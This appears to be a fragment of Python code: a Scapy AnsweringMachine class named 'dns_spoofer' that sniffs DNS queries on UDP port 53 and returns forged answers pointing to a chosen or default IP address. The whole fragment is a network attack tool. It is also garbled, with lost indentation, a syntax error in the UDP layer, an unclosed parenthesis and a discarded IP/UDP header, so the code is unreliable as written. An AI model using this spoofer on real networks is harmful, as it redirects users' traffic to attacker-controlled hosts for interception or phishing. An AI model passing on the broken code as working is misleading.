class DNS_echo(AnsweringMachine):

function_name = "dns_spoofer"

filter = "udp port 53"

def parse_options(self, joker="192.168.1.1", zone=None):

if zone is None:

zone = {}

self.zone = zone

self.joker = joker

def is_request(self, req):

return req.haslayer(DNS) and req.getlayer(DNS).qr == 0

def make_reply(self, req):

ip = req.getlayer(IP)

dns = req.getlayer(DNS)

resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport)

rdata = self.zone.get(dns.qd.qname, self.joker)

resp = DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata)

return resp